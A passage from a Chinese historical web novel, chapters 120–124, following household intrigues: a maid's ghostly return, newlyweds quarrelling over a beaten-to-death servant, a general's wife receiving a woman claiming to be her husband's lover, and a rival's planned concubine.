“什么话?” “万恶淫为首。” 赵夫人脸色突变。 不等她辩驳,虞声笙又笑道:“就贵府公子这般作派,年纪轻轻还未成婚,房里的丫鬟就一个接一个,如今又闹出了人命;我若是夫人,根本没空去怪东怪西,还是趁早好好教一教自家儿子——毕竟,若没有贵府少爷这般风流贪欢,怕也没这档子事。” 赵夫人面色铁青,再也说不出话来。 见她这样,虞声笙才觉得痛快些许,好言相劝:“至于闹鬼一说嘛,我向来信奉不做亏心事,不怕鬼敲门,若夫人心底觉着自己没错,又何必在意这些个怪力乱神的说法?” 赵夫人:…… 最终,赵夫人悻悻离去。 今瑶惊讶:“夫人,您真的不管了么?” “有什么好管的,我又不是法师和尚、阴阳先生,管天管地管好自己就不错了。”虞声笙拎得清。 赵夫人阴着脸回府。 一进院子,迎面而来的丫鬟惊慌失措。 “慌什么慌?!”赵夫人呵斥。 丫鬟忙低头:“太太恕罪!外院的穗儿来报,说是又闹鬼了……原先春芽所住的院所里漏了一地东西,他们都说是春芽回来了,要找人、找人……偿命。” 第120章交代 “荒唐!”赵夫人厉声道,“她又不是死在我们府里,找谁偿命都找不到咱们头上来。” “可是太太……春芽原先可是您安排去少爷房中的。”这丫鬟怯生生的。 才说了一句,她脸上就挨了重重的两下。 直打得她眼冒金星,一片晕眩,慌得她赶紧跪下求饶。 “再让我听见一句你胡咧咧,别怪我不顾这些年的主仆情分。” “是……”丫鬟强忍害怕,忙哽咽着应了。 赵夫人气呼呼地进了房中,将这丫鬟留在院子里。 不一会儿,赵夫人身边的嬷嬷来传话,说让她在台阶下头老老实实跪上一个时辰。 天色将晚,霜气缭绕,寒意刺骨。 赵夫人的院中铺着青砖,每一块都规整漂亮。 可跪在上头,越发显得冰冷坚硬,即便穿着塞了棉的衣裳也挡不住层层袭来的森冷。 丫鬟不敢动,硬生生跪满了一个时辰,才在嬷嬷的注视下缓缓起身。 一个踉跄站不稳,她差点摔倒。 嬷嬷这会子也流露出几分不忍:“回去后好好歇着,吃一盏姜汤暖暖身子,往后可不能再这样口无遮拦了。” 丫鬟垂泪,无声地点点头。 回到后头厢房,也没人敢跟她说话。 她的卧榻靠近春芽的,与她春芽的铺盖被褥刚好形成一个对角。 奴仆们先惧怕忌讳着,谁也不敢靠近。 她将自己锁进没有丝毫暖意的被窝中,这才让眼泪肆意流淌。 忽儿,听得身边有人窸窸窣窣的声响,紧接着那人唤了一声:“春妮姐姐,快别哭了……” 待春妮抬眼探出头来,床边哪有什么人,只留下了一碗还冒着热气的糙米肉汤——没多少肉,大部分都是糙米,但炖得软烂浓厚,这个时节用上一碗已经是很好的了。 春妮只觉得毛毛的。 因为刚刚那一声,像极了春芽的声音。 嫁过来有几天了,徐心敏始终冷着脸,大门不出二门不迈。 就连自己院中的大门,她都没正经出去过。 也就婚后第二日去拜见公婆时出过院子,接下来的两日,她都闭门不出。 “姑娘,明儿就是三朝回门了。”徐心敏身边的丫鬟怜雪提醒道,“要不,今晚上奴婢去请姑爷过来?” “不必了。”徐心敏想起就怒不可遏,“他自己做错了事情还要这般拿乔,谁惯得规矩?明日他若不与我同去,那我就自己回去,横竖要丢人一起丢!我倒要外头人评评理,是他的错,还是我的不对!” 她忍了几日了,早就怒火中烧。 偶尔冷静下来也不是不能理解母亲当日的行为。 最起码,母亲替她狠狠出了口气,将那不要脸的小蹄子直接打死。 反观之前与她情深似海、山盟海誓的丈夫,居然还在怀念惋惜那个丫鬟,甚至迁怒于她。 徐心敏心高气傲惯了的。 加上从前在父母兄嫂跟前没少替石芠说好话。 却不想打脸来得这样快,她哪里承受得住? 原以为丈夫会明白是自己的错,下跪求饶都不为过。 却不想,她骄纵,石芠更是少爷脾气。 两个人就这样互相僵持着,谁也不让谁。 见状,怜雪只好又好言相劝。 徐心敏却火了:“说了不去就不去!他要是有什么旁的话,不如跟我和离了事!若想让我低头,门都没有!我就是不要这条命,豁出去了,我也不叫他好过!!” 她猛地一下将手中的金钗狠狠拍在案上。 一时间,屋子里无人敢再开口。 翌日,三朝回门的大日子。 徐心敏冷着脸,早早命了自己的陪嫁奴仆打点车马。 待弄到一半时,石芠居然过来了。 他明显是被赵夫人押着过来的,满脸的不情愿,眉眼间还带着对徐心敏的冷漠与不快。 徐心敏见状,冷笑连连:“石少爷若不愿可以不去的,谁也没拿着刀强迫你,要你一直这副嘴脸跟我回门那还是免了,我怕我爹娘瞧见了嫌晦气。” “你这女人!好生牙尖嘴利!半点不懂为人妻者该有的端庄本分,这样好吃醋,本就犯了七出之一,我就是休了你都是应当的!”石芠也火了。 “休我?好,好得很。” 徐心敏怒极反笑,吩咐左右,“听见没有,石少爷要休妻呢,还不快些与他拿纸笔来!” 石芠愣住了。 他以为休妻二字一出,徐心敏就会惧怕,会软和下来。 到时候再哭哭啼啼地说两句好话,自己不就能顺着台阶下来了? 他万万没想到,徐心敏比他还强硬。 “你信不信,只要你写了这休书,你我两家就是结怨了!我倒要出去好好给你宣扬宣扬,大不了一辈子不嫁人,我也要让你无容身之所!大不了鱼死网破,谁怕谁?!” 石芠:…… 说着,怜雪已经备齐了文房四宝,过来回话。 徐心敏冷笑:“请吧,石少爷。” 石芠:…… 他哪敢真的写休书。 这要是写了,徐心敏前脚被休出门,他怕是就会被老父亲直接乱棍打死。 耍脾气可以,但他还没蠢到这份上。 夫妻二人一时间僵持住。 好半晌,石芠才涨红了脸:“不可理喻!”一甩袖子走人了。 最终,徐心敏坐上回娘家的马车时,石芠还是默不吭声地跟过来。 不过他没有跟她同乘,而是又让门房备了第二辆马车。 旁人家新婚回门,小夫妻都是和和美美。 唯有他们俩,就连坐马车都要分开,可见足够两看生厌。 外人谁不知道他们这一次回门在徐府到底经历了什么,反正夫妻俩进去前满脸冰霜,出来时徐心敏斗志昂扬,石芠的脸色更难看了,好像在徐府里已经去过阎罗殿一趟,走路都是虚的。 回到石府,徐心敏拜见了赵夫人。 “见过婆母,婆母万安,这是我娘托我转交给您的一封书信。” 赵夫人接过一瞧,顿觉这书信像极了烫手山芋。 恨不得立时三刻丢出去。 徐心敏装模作样地福了福,又道:“我娘说了,若芠郎还有休妻之意,我们两家在连同镇国将军府一道,坐下来求个见证,也别说我委屈了芠郎。” 这是赤裸裸的威胁。 谁不知道,徐心敏的嫡亲姐姐就是镇国将军府的大奶奶。 而镇国将军府还与威武将军府连了亲。 要真闹起来,赵夫人很清楚,自己根本讨不到好。 她勉强扯了扯嘴角:“瞧你说的,什么休妻……你们才刚新婚,正是情浓的时候,他不懂事口无遮拦的,回头我替你教训他便是。” “婆母可要说到做到,别新婚之日到如今,还是雷声大雨点小的,儿媳可半点没瞧出您想惩处芠郎的意思,反倒是你们一家子合起伙来冷落我。” 徐心敏红了眼眶,不断拭泪。 赵夫人这下才明白,哪里是徐心敏任性强硬,分明就是故意的。 她故意没有在新婚那日闹腾,故意硬生生忍了三日,故意等到了回门这天。 石芠的错处被她放到了最大。 即便日后因此撕破脸,徐家也是受害者,石府才是真正名誉扫地的那一个。 赵夫人不着痕迹地藏起颤抖的手,笑得越发慈爱:“哪里话,我疼你还来不及,你放心,这件事我一定给你个交代。” 第121章原来从未喜欢过 入冬后,闻昊渊身上的担子越发重,皇帝下派的任务也越发多。 这一日他又要出门。 这次要去的倒不是很远的地方,而是距离京城约莫三十里的皇陵。 他要去那边换守防的护灵侍卫,顺便还有些秘密任务。 虞声笙问了,他说不能说,陛下的旨意如此。 男人揉了揉她的脸颊,刚想安抚几句,谁知她眨眨眼睛很快便换了个话题:“那你什么时候回来?” “慢的话半个月,快的话十天。” 其实这两个时日差的也不多,她轻轻颔首表示明白了。 闻昊渊此番出行前,她还是替他起了一卦。 卦象显示一切顺遂,只是不起眼的侧星有些异动,虞声笙没有放在心上,待丈夫出门那一日,她亲自送人到城门口。 下了马车徐徐远望,直到闻昊渊的身影彻底看不见,她才收回视线吩咐金猫儿去最大的酒楼买一份上好的卤猪头肉。 金猫儿一愣:“夫人,您说买什么?” “上好的卤猪头肉,再来点牛肉,要是有旁的新品零嘴也买一点来,我带回去分给辉哥儿桂姐儿尝尝;要是有你们几个欢喜的,也别客气,只管买着咱们带回府。”威武将军夫人财大气粗,豪言壮语。 金猫儿哑然。 刚刚那个满脸相思不舍的,好像不是她家夫人似的。 怎么一瞬间变脸变得这样快…… 虞声笙是觉得,她不舍闻昊渊是真的,但丈夫出远门她觉得各种自由也是真的;教她的老头说过,人要因地制宜,决不能为难自己,老头又说过,人也是复杂多变的,什么样子都不用惊讶。 不就吃个猪头肉么?有什么的。 还是今瑶最懂她。 主动请缨,要求跟金猫儿同去。 今瑶给的理由也让金猫儿哭笑不得,无法拒绝。 今瑶说:“我怕猫儿姐姐一个人拿不动,还是带上我一起,咱们俩能买的多一些,还可以打个商量。” 虞声笙觉着这提议甚好,忙不迭地同意了。 就这样,金猫儿与今瑶乐颠颠地去买荤食了。 虞声笙坐在马车里,欣赏着街上热闹的景象。 今日也是市集开放的日子,来来往往的小商小贩,还有各色各样的面孔,看得她眯起眼眸,只觉得置身在这烟火气息中,让人温暖至极。 正看得愉快,大脑放空的时候,冷不丁地眼前多了一个人。 她正眼神不聚焦。 眨巴了两下才看清,眼前杵着的不是别人,正是慕淮安。 虞声笙立马收敛起浑身懈怠,冷漠又疏远地望着他。 没等慕淮安开口,她刷的一下放下了马车的帘笼。 这动作又快又狠,像是给他脸上狠狠来了一下。 今日市集开放,作为维护京城秩序的武将之一,这也是慕淮安的分内之事。 他骑着马巡视到这儿,远远便瞧见了威武将军府的马车。 他知道,自己不该靠近的。 可鬼使神差的,他还是过来了。 甚至怕惊扰到虞声笙,他还是特地下了马走过来的。 越接近越能看清那张熟悉的脸,素净的脸蛋,清澈秀丽的眉眼,虞声笙宛如一块美玉,在褪去了朴素无华的修饰后,越发如清水出芙蓉般的亭亭玉立。 一股难以言说的滋味萦绕心头。 他不是觉得徐诗敏不好。 恰恰相反,徐诗敏是他喜欢的那种闺阁千金。 徐诗敏美丽,有才情,出身高贵,更是府中嫡出,无论哪一样都足以配得上他;反观虞声笙,她没有出众的漂亮,也不会什么诗词歌赋,更不要说琴棋书画,那是一窍不通,她还是个身份尴尬的养女…… 她远远比不上徐诗敏的。 可为何,当慕淮安看清她浑身散发出的生命力时,那颗沉寂已久的心居然会为了她而不安地跳动。 虞声笙的生命力一直都有,一直存在。 开朗坦荡,落落大方。 就像原先她围着他转那样,她从未觉得哪里不对,只是自己想这样做便做了,她并不是很在意旁人的眼光。 慕淮安自己都不明白,为什么从前最最看不上的,却变成了今日的求而不得。 尤其当他靠近时,虞声笙瞬间的变脸,深深刺痛了他。 还未开口说一句,她已经将帘子放下摆出一副生人勿近的疏离。 “你……怎么在这儿?”慕淮安干巴巴地问候,“今日街上人多,让你身边的人多照看着些,别再走丢了。” “多谢慕小将军……不,多谢兄长关怀,小妹记下了。” 虞声笙的声音隔着帘笼传来,温和又冰冷。 “你就非要与我这样说话么?我们很早就认识,没必要这样避嫌吧?”慕淮安心底升起一股愤愤不平,想要她给个说法。 “男女之大防,兄长不会不知晓吧?”虞声笙淡淡道,“小妹也只是想避开一些不必要的麻烦,还请兄长见谅。” “虞声笙!!” 慕淮安忍不住了,抬手紧握住一边窗框,“你明知我说的不是这个意思!!从前的事情是我不对,但你能不能不要这样?我们明明可以和睦相处的!” “和睦相处?” 她笑了。 轻轻在唇齿间咀嚼着这几个字,无尽嘲讽。 慕淮安当然是听出来了,面上一阵尴尬。 “算了吧,慕小将军,你我曾有婚约在身,如今以兄妹相称,这已经足够体面;你我俱已成婚,完全没必要相处,更谈不上和睦,只要面子上过得去就行了。” “面子上过得去,你是这样想的?” 慕淮安被激怒了,“我不信你能做到这些,你别忘了你从前对我——” 刷的一下,虞声笙掀开了帘笼,清凌凌的眸光带着寒意逼视着他。 她唇红齿白地笑了:“我从前对你好,那是因为陛下赐婚,你是与虞府联姻的少将军,所以我不得已追着你;若换另一人,我也一样如此,我有什么错,我不过是想在适合的年纪嫁人,早日完成赐婚罢了。” 慕淮安惊呆了,简直不敢相信自己的耳朵。 他咬牙:“你的意思是你从一开始对我就没有半点情意?” 虞声笙翻了个白眼,以袖掩口笑得花枝乱颤:“听听这话,多可笑啊!你也不瞅瞅当时你对我怎样,那般冷漠厌恶,纵容那些人对我无礼,甚至是嘲笑我,我得了失心疯不成,还要对这样的你有情意?慕将军府上可有镜子?赶紧回去照照,别在这儿说话哄人发笑了。” 慕淮安伸手要去拽虞声笙。 这时,金猫儿和今瑶回来了。 今瑶反应最快,三步并作两步挡在了窗前。 “慕将军,请您自重!马车里坐着的,是威武将军府的夫人,由不得你这般随意动手动脚!”今瑶满是敌意。 慕淮安看着愤怒的丫鬟,冷淡的虞声笙,只觉得眼前的一切过于可笑。 他凝视着马车的方向半晌,终于转身离去。 背后还有今瑶着急的声音:“姑娘,您怎么能让那人又靠近呢,他可不是什么好人呀!!” “急什么,大庭广众之下的,他还能对我动粗么?不怕不怕。” 慕淮安已经听不清了,满脑子都是虞声笙那句——“我得了失心疯不成,还要对这样的你有情意?” 第122章妻妾 曾经的慕淮安从未怀疑过虞声笙对他的心意。 刚刚及笄的少女带着烂漫天真。 她的脸上还有尚未褪去的懵懂莽撞,初来京城,什么都不明白,什么也不会,只能凭着自己的本能笨拙地摸索。 她会带着自己亲手做的糕点送给他,会在快要下雨之时候在他办差的府门外,只为了给他送一把伞……虞声笙那双眼睛生得极好,干净明澈,看向他时会带着自然而然的倾慕。 湿漉漉的,又凉凉的,甚至小心翼翼。 慕淮安自少年时起,身边就不缺爱慕者。 什么荷包香囊璎珞,只要他想要,多的是美貌怀春的少女给他送。 虞声笙真的是其中最不起眼的那一个。 她甚至连好听的话都不会说,张口就是直白简单的大粗话。 慕淮安想不通,这样的虞声笙凭什么现在又说从未对他有过情意? 就算他们如今已经划清界限,她有必要说得这样绝么? 苦涩不甘,脑海中浮现出那一日瞧见虞声笙与闻昊渊琴瑟和鸣、相偕而过的景象,他就越发憋闷。 不知何时回到府中,耳边唠唠叨叨的都是徐诗敏在说话。 “我也不是想瞧着妹妹过得不好,怎么说也是我的亲妹子,她若能好,往后与咱们府上也是一份助力不是,偏这般任性……哎!” 慕淮安心不在焉地应了一声。 次数一多,徐诗敏如何察觉不到他在敷衍自己。 有些不快地抿了抿嘴角,她又道:“爷如今越发冷淡了,与你说话都是这般爱答不理的,我也不知道究竟是我不会伺候爷,还是旁的什么,你总要说出来让我知晓,别总是挂着个脸!” “也没什么。” 慕淮安回过神来,貌似无意地揉了揉手腕,“过两天允娘进府,你准备一下就成。” 徐诗敏还在想着如何跟丈夫说妹妹的婚事,冷不丁听到这话,整个人都傻了。 “谁?允娘是谁?” “她是个孤苦无依的女子,本也是好人家的女儿,与我做妾也算够了,回头你们二人在内宅中互相帮衬着便可,她性子柔弱,最是怯懦,你好好照拂着她便是。” 慕淮安说完才意识到自己不该挑在这个时候说。 徐诗敏的脸色已经极其难看了。 “你放心,你依然是正头奶奶,无论是谁都越不过你去。” 这句安慰听来如纸一样单薄,没什么意义。 慕淮安也觉得有点尴尬,轻轻咳嗽一声,起身去了外书房。 直到盈袖过来,徐诗敏才渐渐缓过神来:“你方才也听到了?” 盈袖耷拉着脑袋,不敢吭声,用力地点点头。 “呵……我还有脸笑话旁人,我自个儿这边都没手捂了,才成婚多久啊,这就要领妾室进门了!” 话音刚落,盈袖咚的一下跪在她跟前:“奶奶别生气,有件事奴婢其实没有立马告知奶奶……” “难不成你也爬上了大少爷的床?!”徐诗敏已经草木皆兵。 “奶奶明鉴,就是给奴婢一百个胆子,奴婢也不敢背叛奶奶啊!奴婢自幼就在奶奶身边服侍,承蒙老爷太太垂青,又得奶奶垂怜,才能一直伺候在奶奶左右,奴婢是万万不会动这个念头的!” 盈袖慌乱不已,哭得眼泪鼻涕一把下来。 见贴身丫鬟这么哭诉,徐诗敏才略感安慰。 却听盈袖又道:“上回……收拾床铺时,奴婢发现了一枚璎珞,瞧着不像是奶奶的,更像是外头带进来的。” “东西在哪儿?!”徐诗敏怒不可遏。 盈袖抹了一把泪,忙起身回了一趟厢房,将藏好的璎珞送到主子跟前。 那是一枚红得鲜艳欲滴的璎珞。 可见手艺不错,每一处都极尽巧思。 下头还坠着一小块同心玉,玉面上雕刻着允安二字。 允娘,慕淮安…… 徐诗敏恨到极点,硬生生要咬碎一口银牙。 盈袖见她面色阴沉,显然是气得狠了,忙又劝道:“奶奶别气坏了身子,凭她是谁,也越不过奶奶去!” 捂着心口,徐诗敏闭上眼,两行热泪滚滚而下。 到底年轻,她不愿逆来顺受。 当晚,她便领着几个贴身的丫鬟婆子回了娘家。 徐大太太只觉得头疼,刚解决完小女儿这边,大女儿那头又出了岔子。 “儿女都是债啊!”她一边吃着清火宁心的茶,一边感慨万千。 有道是虱子多了不痒,债多了不愁。 徐大太太发现自己竟还有苦中作乐的乐观情操,也是啧啧称奇了。 大约冬日里总有点不一样的故事要发生。 内宅中,总也绕不过妻妾二字。 虞声笙本以为自己的生活平静,没想到在闻昊渊离开的第三天,这份平静就被打破了。 先是守着外头偏门的小厮来报,说什么门口来了个陌生女子,口口声声说要见威武将军府的女主人,并送上了一方雪帕。 帕子上写着一首情动意切的香艳小诗。 就着那涓涓红砂,确实鲜艳夺目。 像虞声笙这种没多少文化素养的人读来,都觉得满口留香,心颤意动。 但很快,她就被泼了一盆凉水。 这女子自称露娘,是闻昊渊出征在外时的相好。 那方雪帕就是二人的定情信物。 能怎么办呢,只能把人先请进来再杀……啊不对,是把人先请进来再说。 虞声笙抿抿嘴角,觉得婚后自己从前隐藏的性子都快瞒不住了,这样不好,不利于身心健康,也不利于目前幸福美满的生活氛围。 她对着镜子笑了笑,露出一个自认为最好看的弧度。 今瑶在一旁瞧了,只觉得心里毛毛的。 不一会儿,那自称露娘的女子袅袅婷婷地来了。 她还不是一个人来的,身边还跟了个伺候的丫鬟,唤作翠儿。 到了虞声笙跟前,露娘盈盈拜倒,端的是柔美怯弱,弱不禁风,楚楚动人。 虞声笙好声好气地让她起来,坐着说话。 露娘操着一口不知哪里的方言,说起话来格外柔软,每一句的话尾处都像是带了一把小钩子,勾得人心痒难耐。 她简单说了自己与闻昊渊的相识相好的过程。 还说闻昊渊走之前与她信誓旦旦,说在京城完婚后,不日便会派人来接,露娘也是等到了书信,才大老远启程赶往京师。 大概前因后果,虞声笙已经知道了。 她摆摆手,示意露娘不必再说,吩咐金猫儿:“你去将一处闲置的院子收拾出来给露娘二人住着。” 金猫儿应下,转身去办。 露娘又惊又喜,不由得红了脸颊,又起身拜倒谢恩。 “不必谢我,既来了我府里,我自然要将你当成客人来待。”虞声笙笑得温和。 客人? 闻言,露娘有些面上挂不住:“奶奶有所不知,将军说了的,要我进府后以奶奶为主子,凡事听奶奶的,府里的一干庶务也要多多替奶奶分忧。” 最后一句才是关键。 虞声笙仿若没听出来似的,继续笑眯眯:“辛苦你了,只是……将军尚未回府,无人见证,我又怎敢喝你敬的茶,又怎敢让你为府里操劳,你说是不是这个理?” 露娘哑口无言,只好垂头称是。 第123章露娘 金猫儿到底是跟在张氏身边有过经验历练的大丫鬟了。 虞声笙一吩咐,她立马明白其中的要害所在。 叫上几个人,很快将府中一处空置的院落收拾了出来,麻利又爽快,叫人挑不出错,她办完这些又亲自领着露娘与翠儿搬过去。 望着干净整洁的堂屋与卧房,还有外头松柏如云的庭院,露娘自是没有不满意的,眼角眉梢都带着欢喜;她身边的丫鬟翠儿更是满脸雀跃,难以置信。 金猫儿将这一幕尽收眼底,却像是没瞧出什么来似的,笑眯眯道:“姑娘住在这儿清静又自在,出了门便是花园子,这会子园子里的梅花尽数开了,这还只是红梅,等天再冷些,腊梅也会开,一红一黄可尽供姑娘赏玩。” 这院落不大,但五脏俱全。 屋子里起着暖笼,又有各色摆件古玩相衬,尽显典雅富贵。 靠近暖笼的罗汉床上搁着一张花梨圆炕的桌子,上头摆着的是一整套汝窑茶具,端的古朴大方,处处精致。 露娘瞧了,忍不住伸手去摸,欢喜道:“难为姑娘费心张罗,我还没亲自去谢过大奶奶,不知姑娘可否领路?” “姑娘就别客气了,咱们夫人说了,进府就是客人,且让姑娘您安心住着,一切等咱们将军回来了再说。” 金猫儿快人快语,挥挥手又叫来了两个小丫鬟供露娘差遣。 外头园子洒扫另有两位粗使婆子。 就这样,露娘安顿了下来。 办完这些,金猫儿赶去安园回话。 虞声笙坐在榻上听完了她的话,缓缓点头:“你瞧着如何?” “奴婢瞧着倒也单纯,不太会掩饰的样子,那一套汝窑茶具就把她瞧得眼睛珠子都快掉下来了。”金猫儿实话实说。 露娘主仆二人瞧着就不像是心眼多的那种人。 “先让她们住着吧,兵来将挡水来土掩便是。”虞声笙很快想开了。 “可夫人……若是真的,咱们可怎么好?”今瑶担忧道。 要是露娘当真与闻昊渊有一段情事,那她入府为妾是板上钉钉的。 这么一来,这姨娘不捏在当家主母的手里,更显被动。 再者,若真如此,露娘与闻昊渊的情分也非同一般,虽说不能撼动正头奶奶的地位,但也足够恶心人的了。 虞声笙倒是不在意。 “内宅之中不就这么点事么?慌什么,一切等将军回府再说,在这之前谁都不许轻举妄动,也不许在人家跟前漏了什么话,一应吃穿嚼用,依着原先我娘家未出阁的姑娘待遇来办。” 闻言,几个丫鬟各应下。 安园内依旧平静。 黎阳夫人听闻了消息,晚饭时特地领着辉哥儿桂姐儿过来了一趟。 “姑母您怎么过来了,不是说我过去与你们一道用饭的么?”虞声笙有些惊讶,“如今外头冷着呢,孩子们又小,再给冻坏了。” “穿得这么厚实,哪里就能冻坏了,小孩子嘛还是皮实一点好些。”黎阳夫人笑道,拉着虞声笙坐在一旁。 没了祖母约束的辉哥儿桂姐儿立马解掉了身上厚实的披风外套,与几个小厮丫鬟玩去了。 黎阳夫人道:“我可听说了,你怎么就把人放进来的?须知,请神容易送神难。” “姑母别担心,您想想……若她真的与将军有一段情,我又偏不让她进门,她要是闹起来了岂非大家脸上都不好看。”虞声笙温温笑着,胸有成竹道,“还是让人进门来,放在我的眼皮子底下更安心,再说了……” 她顿了顿,“我并不觉得她真是咱们将军外头的相好。” 成婚第一晚,虞声笙就与闻昊渊来了个夫妻互相交底。 她说出了对慕淮安的想法,而闻昊渊也一五一十说了自己的过往。 武将出身的糙汉子只有枯燥又艰苦的军旅生涯可以分享,实在是没什么桃色又香艳的故事,更没有什么所谓的相好。 闻昊渊直言不讳,说自己不讨女孩子喜欢。 大约是生得有些凶悍,加上身高马大,很有压迫感。 那些个贵族少女一见他这副模样躲都来不及。 她们更喜欢文人书生,最好是那种生得唇红齿白,风度翩翩的读书人。 相比较而言,闻昊渊的外形实在是不怎么占优势。 好在心胸宽阔、不拘小节的男人也并未把这些放在心上,他相信大丈夫何患无妻,便一头扎进前线,替陛下奔走,年纪轻轻就赚了不少军功在身。 这样一个人,实在是没必要隐藏露娘的存在。 黎阳夫人见她笑得温婉笃定,心也踏实了一半:“不是我说,我们闻家的儿郎真要纳妾也是光明正大交给正头娘子去办的,没有私相授受的,你能信他,我很放心。” 话锋一转,她又凶巴巴道,“退一万步讲,若此事当真,我头一个饶不了他!我定会进宫告状,叫皇帝皇后狠狠罚他!你放心,姑母给你撑腰。” 虞声笙笑容加深了:“好,那我可就都靠着姑母了。” 屋子里暖意融融,一家子凑在一起用饭。 又是说笑,又是孩子们嘻嘻哈哈的玩闹,好不惬意温馨。 冬日里寒气刺骨,黎阳夫人用了两杯姜丝酒,顿觉手脚都暖和起来,用罢了晚饭回去的路上都没感觉到半点寒意。 虞声笙酒足饭饱后,洗漱睡下,这一觉也睡得格外酣甜。 天色蒙蒙亮时,金猫儿将露娘主仆二人挡在了安园门外。 “姑娘怎起得这般早?”金猫儿客气笑道,“天寒地冻的,怎不多睡一会子?” “奶奶与我方便,我更不能乱了礼数,理应早起给奶奶请安的。”露娘道。 “请安?”金猫儿诧异,“姑娘怕是会错意了,您是客人,哪有客人一早起来向夫人请安的,便是皇家也没这样的规矩;您就安心住着,缺什么短什么了,只管来与我说便是;还有,咱们府里只管称呼我家女主人为夫人,姑娘下回可别叫错了。” 露娘一愣:“可我是府里妾室呀,不是什么客人。” “奴婢人微言轻,不明白姑娘这话的意思,但夫人这么说了,奴婢自然要这么做。” 金猫儿见露娘有些不快,又徐徐道,“若真如姑娘所言,待咱们将军回来了,还怕没有给夫人请安的时候么?” 露娘这才勉强稳住了笑:“也是。” 目送着露娘翠儿离去,金猫儿的眉眼中笼上了一层寒霜。 她瞪了一眼旁边耷拉着脑袋,满脸羞愧的婆子:“让你们看好院门,你们就是这样办差的?夫人体恤你们,怕你们冬夜里轮值冻着,你们身上的袄子外衣,哪一样不是新做的?就是棉被都用了新弹的棉花!要不是我来得及时,方才那二人就直奔夫人的屋子了!” 婆子忙告饶。 金猫儿却不惯着:“等夫人醒了我必去回话!你们想想该怎么跟夫人解释吧!” 却说露娘翠儿二人回了自己院中。 屋子里还有余温,倒也不冷。 半盏热茶下肚,露娘缓了过来,不由得长吁短叹。 翠儿过来劝着:“姨娘别难过了,夫人八成是在吃醋呢。” 第124章隐忍 “我如何不知她是在吃醋……”露娘苦笑,“罢了,谁让她是正头娘子呢,我让让她便是。” “将军待姨娘你的情分可不是作假的,等将军回府了,自有姨娘的好日子。”翠儿喜滋滋道。 “嗯。”露娘也稍稍宽心。 回想起远在州县的日子,虽辛苦但却甜蜜。 一想起那个男人的温柔体贴,处处周到,她就忍不住红了脸,心头一阵小鹿乱撞。 有道是易得无价宝,难得有情郎。 若非这样深厚的情分,她也不愿委身于他做妾的。 罢了,人生哪有处处都如意的。 何况她也不过是个父母双亡的孤女,被叔伯兄弟霸占了财产,后又不愿嫁给那个比自己大了二十岁为续弦,这才被赶出家门。 若无那个男人,她怕是早就没命了。 眼下能住得安稳,衣食无忧,还有丫鬟伺候,这便足矣。 露娘是个很容易满足的性子,不过一盏茶的功夫她自己就想明白了。 威武将军府里多了一个没名没分的露娘,虞声笙能封锁府里所有人的口,不叫漏出去半个字,是以一片风平浪静,岁月静好。 反观另一边,镇国将军府。 慕淮安是真的要纳妾。 而徐诗敏早就绷不住了,回娘家一待就是好些天。 眼瞅着都快小年了,她还不打算回将军府。 慕大太太听说了,冷笑连连,只打发人去亲家送了好些礼物,也没说让慕淮安去接她回来,这事就这么僵住了。 徐大太太只觉得自己是操心的命。 怎么到了这个年纪,还有操不完心的呢? “你预备什么时候回去?”她托着茶盏,浅浅呷了一口,不咸不淡地问。 徐诗敏垂眸,双手不断揉搓着袖口华丽的布料,闷不吭声。 知女莫若母。 见此情形,徐大太太哪有不明白的。 她这个女儿最是心气高,原先与慕淮安成婚时一波三折,虽说最终得了善果,但过程到底有些美中不足,叫人遗憾,更无法拿到明面上说。 谁不知道徐诗敏与慕淮安互定终身时,人家慕淮安名正言顺的未婚妻可是虞四。 这话不提便罢了,一提难免会被人暗中嘲笑。 徐诗敏自认为与慕淮安的情分是旁人不能比的。 到底经历了风波,经历了挫折,总归是特别的。 她也没那么天真,觉得慕淮安自此就不会纳妾,像他们这样的人家,有个三妻四妾的只是寻常。 可她万万没想到会这么快…… 才成婚几个月,一年都没到呢,她甚至都没能怀上孩子,慕淮安竟然就背着自己与另外一个女子互通情意。 那他们从前的情深意浓又算什么? 一场笑话吗? 她放弃了尊严甚至脸面,最后求来的,也不过是与寻常男人差不多的丈夫,既如此,当初又何必冒这样大的风险? 种种复杂情绪在心头交织,折磨得徐诗敏已经连续几夜没睡好觉了。 一抬眼,眼下青黑,眼底却猩红一片。 徐大太太见状哪里狠得下心继续说,放下茶盏,悠长地叹了一声:“已经是人家媳妇了,总是住在娘家也不是个办法,我明白你不快活,可一直躲着也不是个法子呀!你以为你不回去,人家没办法给正室敬茶就进不了门么?别到时候人家那头木已成舟,你想再挽回也没法子了!失了先机,就别怪人家日后把你踩在脚底下!” 徐诗敏泪光盈盈:“我回去了也阻止不了她进门。” “谁让你阻止她进门了?” 徐大太太差点一阵心梗厥过去。 这个她以为最聪明的女儿,没想到在这件事上居然这么犯蠢。 “事已至此,多说无益;眼下你姑爷已经对这女子有了情分,你若强行不松口,反倒会坏了你们夫妻的感情,这才是真正伤了根本的!” “感情,哪儿还有什么感情?女儿只觉得自己好像个笑话!!” 徐诗敏憋不住了,泪如雨下。 “哭有用么?”徐大太太将小几拍得震天响,“若哭有用,你也不必在我这儿抹泪水了,还是回去你姑爷跟前哭,那样更有效!盈袖,你现在就去收拾你家姑娘的东西,今儿下午就回将军府去!” “娘!”徐诗敏惊讶。 “你给我回去,不管用什么法子,把那女人的身契牢牢攥在你手里!内宅中馈一样不能落!等这些事情办完了,你想怎么哭都成!事情没办完,你哭也是白哭,日后有得你哭的时候!” 徐大太太到底不放心,让自己身边的一个嬷嬷跟着。 下午晌,徐诗敏就被送回了将军府。 那跟着一道的嬷嬷其貌不扬,却是个能言善辩的好手。 到了慕大太太跟前,这位婆母自然要酸两句,说些不阴不阳的话。 徐诗敏一阵心酸,还未想到如何应对,只听这嬷嬷道:“回亲家太太的话,这事儿原也怪不得咱们家姑奶奶,实在是这几日我家太太身子不爽,大年节下的,她又不愿惊动旁人,刚巧姑奶奶那一日回府探望就给撞破了;亲家太太是最明白不过的,咱们姑奶奶孝心纯善,瞧见了如何能撒手不管,这几日都在我家太太床前侍疾呢。” “未能及时归府,让亲家太太担忧了,我家太太特命老奴给亲家太太赔个不是,待年节时两家会面团聚时,再与亲家太太当面解释。” 慕大太太扫了一眼徐诗敏:“原来是这样,你这孩子……你母亲生病如何不来报我?” “我娘病得突然,虽不严重,但也缠绵病榻数日,媳妇离府多日,府中各项庶务都要劳累母亲,如何敢因这小事再烦劳母亲挂心?若真病得重了,不用母亲说,媳妇第一个便会求到母亲跟前来。”徐诗敏终于清醒过来。 这两句话算是将场面圆了过去。 